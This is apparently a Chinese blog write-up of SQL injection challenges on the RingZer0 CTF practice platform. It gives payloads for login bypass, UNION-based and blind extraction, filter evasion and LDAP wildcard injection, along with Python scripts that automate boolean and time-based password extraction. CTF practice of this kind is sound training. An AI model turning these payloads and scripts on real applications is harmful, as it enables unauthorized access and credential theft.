ringzer0ctf-sql注入

拿这个平台练手一下SQL注入

Most basic SQLi pattern.

没有过滤,万能密码直接登录获取flag,payload:

1
username=admin&password=1' or '1'='1

ACL rulezzz the world.

没有过滤,联合查询注入

注数据库payload:

1
username=0' union select database(),2,3#

数据库名:chal2

注表payload:

1
username=0' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()#

表名:c2_group,c2_group_membership,c2_user

注列payload:

1
username=0' union select group_concat(column_name),2,3 from information_schema.columns where table_name='c2_group'#

注内容payload:

1
username=0' union select group_concat(id),group_concat(groupname),group_concat(description) from c2_group#

flag在表c2_group

Login portal 1

用户名和密码字段都过滤了注释符#-%3B%00

payload:

1
username=admin' or '1&password=1

Random Login Form

有注册和登录界面,猜测是SQL约束攻击

注册payload:

1
new=admin+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++1&new_password=123

登录payload:

1
username=admin&password=123

登录成功获得flag

Just another login form

这题LDAP注入,LDAP简单来说类似Mysql,可以理解成一个数据库,具体可以参考https://www.fujieace.com/jingyan/ldap.html

search语法:attribute operator value
search filter options:( “&” or “|” (filter1) (filter2) (filter3) …) (“!” (filter))

=(等于)查找“名“属性为“John”的所有对象,可以使用:

1
(givenName=John)

这会返回“名”属性为“John”的所有对象。圆括号是必需的,以便强调 LDAP 语句的开始和结束。

&(逻辑与)如果具有多个条件并且希望全部条件都得到满足,则可使用此语法。例如,如果希望查找居住在 Dallas 并且“名”为“John”的所有人员,可以使用:

1
(&(givenName=John)(l=Dallas))

请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。

!(逻辑非)此操作符用来排除具有特定属性的对象。假定您需要查找“名”为“John”的对象以外的所有对象。则应使用如下语句:

1
(!givenName=John)

此语句将查找“名”不为“John”的所有对象。请注意:! 操作符紧邻参数的前面,并且位于参数的圆括号内。由于本语句只有一个参数,因此使用圆括号将其括起以示说明

*(通配符)可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用:

1
(title=*)

这会返回“title”属性包含内容的所有对象。另一个例子是:您知道某个对象的“名”属性的开头两个字母是“Jo”。那么,可以使用如下语法进行查找:

1
(givenName=Jo*)

这会返回“名”以“Jo”开头的所有对象。

高级用法eg:您需要一个筛选条件,用来查找居住在 Dallas 或 Austin,并且名为“John”的所有对象。使用的语法应当是:

1
(&(givenName=John)(|(l=Dallas)(l=Austin)))

所以这里LDAP注入主要利用的是通配符*

payload:

1
username=*&password=*

Po po po po postgresql

题目给了提示postgresql,经过查询是关系型数据库,--+代表注释

构造payload:

1
username=admin'--+&password=1

出现报错信息:

1
ERROR: syntax error at end of input LINE 1: ...AND password = ('da39a3ee5e6b4b0d3255bfef95601890afd80709')) ^

得知需要再添加))闭合

最终payload:

1
username=admin'))--+&password=1

Don’t mess with Noemie; she hates admin!

题目给出了用户名不是admin,并且同样过滤注释符#--/*

payload:

1
username=admin' or 1 or '&password=1

即使admin不存在,但是经过or 1之后最终结果也是1

What’s the definition of NULL

sqlite注入,以下为sqlite简介:

1
SQLite的,是一款轻型的数据库。sqlite存在一个叫SQLITE_MASTER的表,这与MySQL5.x的INFORMATION_SCHEMA表类似。sqlite_master 表中保存了数据库中所有表的信息,该表中比较有用的字段有“name,sql”,name字段存放的是表名,sql字段存放的是表结构。可以通过内置函数sqlite_version()获取版本信息,和其他数据库一样,通过“order by”判断长度,该数据库的注释符和ORACLE数据库一样,都是–。

题目注入点为GET方式传入的参数id,并且传入的值经过base64解密

题目给出的hint:WHERE (id IS NOT NULL) AND (ID = ? AND display = 1)

猜测后台sql语句为WHERE (id IS NOT NULL) AND (ID = base64_decode($_GET['id']) AND display = 1)

获得查询列数payload:

1
0) order by 3--

查询列数为3

获得表名payload:

1
0) union select group_concat(name),2,3 from sqlite_master--

表名为:flag

获得表结构payload:

1
0) union select group_concat(sql),2,3 from sqlite_master--

结构:CREATE TABLE flag (content varchar(100), display int(1), id int(10))

获得flag payload:

1
0) union select content,2,3 from sqlite_master--

Login portal 2

同样试一下username=admin'#&password=,返回Wrong username / password.看样子,注释符好像没有被过滤,因为按照前面几关套路,如果过滤提示的是非法字符,那么既然没过滤注释符的话,那就说明用户名admin不存在,那么老套路username=admin' or 1 or ',返回Wrong password for impossibletoguess.

看样子,像是有对我们输入的参数password和查询结果的password进行对比检查,而弹出的impossibletoguess似乎就是用户名字段

验证一下猜想,试一下username=admin' union select 1,2#,返回Wrong password for 1.

说明第一个字段为用户名字段,既然有回显信息,那么我们就可以很好的利用联合查询

爆表payload:

1
username=admin' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&password=

表名:users

爆列payload:

1
username=admin' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#&password=

列名:username,password

爆用户名impossibletoguess的密码payload:

1
username=admin' union select group_concat(password),2 from users#&password=

密码:1b2f190ad705d7c2afcac45447a31b053fada0c4

直接输入用户名和密码:

1
username=impossibletoguess&password=1b2f190ad705d7c2afcac45447a31b053fada0c4

登录失败,看来密码是经过加密的

长度为40的密码,看样子不像是md5加密,所以猜测是sha1加密

所以后台对比的可能是

1
password == sha1($_POST['password'])

所以我们只需要通过联合注入,将第二个字段(密码字段)为$_POST['password']经过sha1加密后的值即可

最终payload:

1
username=admin' union select 1,sha1(1000)#&password=1000

这题出的挺有意思的,收获挺大

Generate random quote

注入点为GET方式提交的参数q

测试:?q=1'%23无查询结果,?q=1%23,有查询结果,说明参数q无引号包裹,另外过滤了空格,用/**/代替即可

爆列数payload:

1
?q=1/**/order/**/by/**/2%23

列数为2

爆表名payload:

1
?q=1q=0/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23

表名:alkdjf4iu,quotes

爆列名payload:

1
?q=0/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x616c6b646a66346975%23

这里table_name字段加上单引号查询不到结果,猜测单引号被转义了,所以转为十六进制

列名:id,flag

爆flag payload:

1
?q=0/**/union/**/select/**/1,flag/**/from/**/alkdjf4iu%23

Thinking outside the box is the key

测试?id=1'%23?id=1%23,返回信息SQLite Database error please try again later.

看出这是一个SQLite数据库,所以注释符是--

测试?id=1--,正确返回信息,说明参数id无引号包裹

爆列数payload:

1
?id=0 order by 2--

查询列数为2

爆表名payload:

1
?id=0%20union%20select%201,group_concat(name)%20from%20sqlite_master--

表名:random_stuff,ajklshfajks,troll,aatroll

爆三个表分别的结构payload:

1
?id=0%20union%20select%201,group_concat(sql)%20from%20sqlite_master--
1
CREATE TABLE random_stuff (id int(10), content varchar(100)),CREATE TABLE ajklshfajks (flag varchar(40)),CREATE TABLE troll (id int(10)),CREATE TABLE aatroll (id int(10))

发现flag在表ajklshfajks

爆flag payload:

1
?id=0%20union%20select%201,flag%20from%20ajklshfajks--

No more hacking for me!

题目源代码给出了提示:

1
<!-- urldecode(addslashes(str_replace("'", "", urldecode(htmlspecialchars($_GET['id'], ENT_QUOTES))))) -->

我们可以发现对$_GET['id']进行了两次URL解码,再加上浏览器本身就进行一次解码,所以我们可以对参数id进行URL三次编码,就可以绕过对单引号'的过滤

爆列数payload:

1
2
1%252527%252520order%252520by%2525203--
plain: 1' order by 3--

列数为3

爆表名payload:

1
2
0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528name%252529%25252C3%252520from%252520sqlite_master--
plain: 0' union select 1,group_concat(name),3 from sqlite_master--

表名:random_data

爆表结构payload:

1
2
0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528sql%252529%25252C3%252520from%252520sqlite_master--
plain: 0' union select 1,group_concat(sql),3 from sqlite_master--

结构:CREATE TABLE random_data (id int, message varchar(50), display int)

爆flag payload:

1
2
0%252527%252520union%252520select%2525201%25252Cgroup_concat%252528message%252529%25252C3%252520from%252520random_data--
plain: 0' union select 1,group_concat(message),3 from random_data--

Don’t Stumble in the Process

这题链接到了别的网站,注入点在GET方式传入的参数id,测试发现过滤了关键字union,sleep,并且没有报错信息,测试if未被过滤,所以根据有无返回结果进行基于布尔型的盲注

py脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests

url = "http://challenges.ringzer0team.com:10291?id="
right = "The beautiful goat will be forsaken. In the city of the mountain, a goat of the mountain will rise. The goat of the day will court the count of war."
database = ""
table_name = ""
column_name = ""
flag = ""
ID = ""
quote = ""
f = 0

#注数据库名:sqli291_2
for i in range(1,50):
for j in range(33,127):
payload = "1 and if(ascii(substr(database(),%d,1))=%d,1,0)"%(i,j)
r_url = url + payload
print(r_url)
r = requests.get(r_url)
if right in r.text:
database = database + chr(j)
print(database)
f = 1
break
if j == 126 and f == 0:
break
else:
f = 0

print("database:",database)

#注表名:prophecies
for i in range(1,50):
for j in range(33,127):
payload = "1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d,1,0)"%(i,j)
r_url = url + payload
print(r_url)
r = requests.get(r_url)
if right in r.text:
table_name = table_name + chr(j)
print(table_name)
f = 1
break
if j == 126 and f == 0:
break
else:
f = 0
print("table_name:",table_name)

#注列名:id,quote
for i in range(1,50):
for j in range(33,127):
payload = "1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='prophecies'),%d,1))=%d,1,0)"%(i,j)
r_url = url + payload
print(r_url)
r = requests.get(r_url)
if right in r.text:
column_name = column_name + chr(j)
print(column_name)
f = 1
break
if j == 126 and f == 0:
break
else:
f = 0
print("column_name:",column_name)

但是这题没有注出flag

Generate random quote again

源代码给出了提示<!-- <input type="hidden" name="debug" value="false" /> -->

但是一开始这题还是毫无头绪,测试'都无法出现报错,猜不出两个参数qs分别的作用

看到别人的提示才知道,原来后台的SQL语句为:

1
SELECT quote FROM quotes WHERE id = 'htmlspecialchars($id)' AND LENGTH(quote) < CAST('$s' AS INT)

题目给出的参数debug如果设置为true,则可以出现SQL语法报错

由于htmlspecialchars函数,导致单引号会被转化为html实体,而\是不会被转化的,所以当$id=1\时,SQL语句就变成了

1
SELECT quote FROM quotes WHERE id = '1\' AND LENGTH(quote) < CAST('$s' AS INT)

相当于查询字段id值为1\' AND LENGTH(quote) < CAST(,即查询id=1

而我们在通过%23注释掉$s后面的语句,就可以直接进行联合注入,另外这里union需要双写

注表payload:

1
q=0\&s=uunionnion%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

表名:qdyk5,quotes

注列payload:

1
q=0\&s=uunionnion%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7164796b35%23

列名:id,flag

注flag payload:

1
q=0\&s=uunionnion%20select%201,flag%20from%20qdyk5%23

Login portal 3

测试当用户名存在,密码错误时提示Invalid username / password.,用户名不存在时提示No user found.

测试用户名:admin'%23,提示No user found.,猜测注释符#被过滤了,再尝试admin' or '1,提示Invalid username / password.

因为没有回显信息,所以无法使用联合注入,加上sleep也被过滤了,所以这关只能采用基于布尔型的盲注,根据提示信息来判断

payload:

1
username=admin' and if(ascii(substr(database(),1,1))=100,1,0) or '&password=123

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = "https://ringzer0ctf.com/challenges/5"
headers = {
'Cookie':'PHPSESSID=hh2nu3p191c1p294ufuu6n53p7'
}
right = "Invalid username / password."
password = ""

for i in range(1,50):
for j in range(48,123):
print('checking',chr(j))
data = {
'username':"admin' and if(ascii(substr((select password from users),%d,1))=%d,1,0) or '"%(i,j),
'password':'123'
}
r = requests.post(url,data=data,headers=headers)
if right in r.text:
password = password + chr(j)
print("password:",password)
f = 1
break
if j == 122 and f == 0:
break
else:
f = 0

print("password:",password)

#password: SQL1nj3ct10nFTW

登录成功后获得flag

Lite login portal

这题用户名存在和不存在时回显的信息跟上一关一样,不过多了个报错信息,测试admin'时得到报错信息:

1
SQLite Database error please try again later. Impossible to fetch username & password from users table

直接得知了表名users和字段名username,password

测试admin' or '1,回显Invalid username / password.

同样跟上一关一样用布尔盲注,不过这里是SQLite数据库,payload略有不同:

1
username=admin' and substr(,1,1)='a' or '&password=123

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = "https://ringzer0ctf.com/challenges/19"
headers = {
'Cookie':'PHPSESSID=hh2nu3p191c1p294ufuu6n53p7'
}
right = "Invalid username / password."
password = ""

for i in range(1,50):
for j in range(48,123):
print('checking',chr(j))
data = {
'username':"admin' and substr((select password from users),%d,1)='%s' or '"%(i,chr(j)),
'password':'123'
}
r = requests.post(url,data=data,headers=headers)
if right in r.text:
password = password + chr(j)
print("password:",password)
f = 1
break
if j == 122 and f == 0:
break
else:
f = 0

print("password:",password)

#password: 4dm1nzP455

登录成功后获得flag

Internet As A Service

看别人提示的payload:

1
?s=1' || 1e0union select schema_name,2,3 from information_schema.schemata%23

没搞得太懂,1e0union貌似是为了绕过%20union的过滤

数据库名:iaas

注表payload:

1
?s=1' || 1e0union select table_name,2,3 from information_schema.tables where table_schema like 'iaas'%23

表名:iaas,rz_flag

注列payload:

1
?s=1' || 1e0union select column_name,2,3 from information_schema.columns where table_name like 'rz_flag'%23

列名:flag

1
?s=1' || 1e0union select flag,2,3 from rz_flag%23

Login portal 4

这题不论用户名是否存在,密码错误都会返回Invalid username / password.尝试用户名username=admin' or '1,提示非法字符,猜测过滤了or+空格+任意字符,可以用||代替or

这题只能用延时注入,payload如下:

1
username=' || if(ascii(substr((select password from users),1,1))=100,sleep(3),1) || '&password=1

脚本代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = "https://ringzer0ctf.com/challenges/6"
headers = {
'Cookie':'PHPSESSID=hh2nu3p191c1p294ufuu6n53p7'
}
password = ""
f = 0

for i in range(1,50):
for j in range(48,123):
print("checking",chr(j))
data = {
'username':"' || if(ascii(substr((select password from users),%d,1))=%d,sleep(5),1) || '"%(i,j),
'password':'1'
}
try:
r = requests.post(url,data=data,headers=headers,timeout=4.5)
except:
password = password + chr(j)
print("password:",password)
f = 1
break
if f == 0 and j == 122:
break
f = 0

print("password:",password)

成功登录后获取flag

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/04/09/ringzer0ctf-sql%E6%B3%A8%E5%85%A5/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog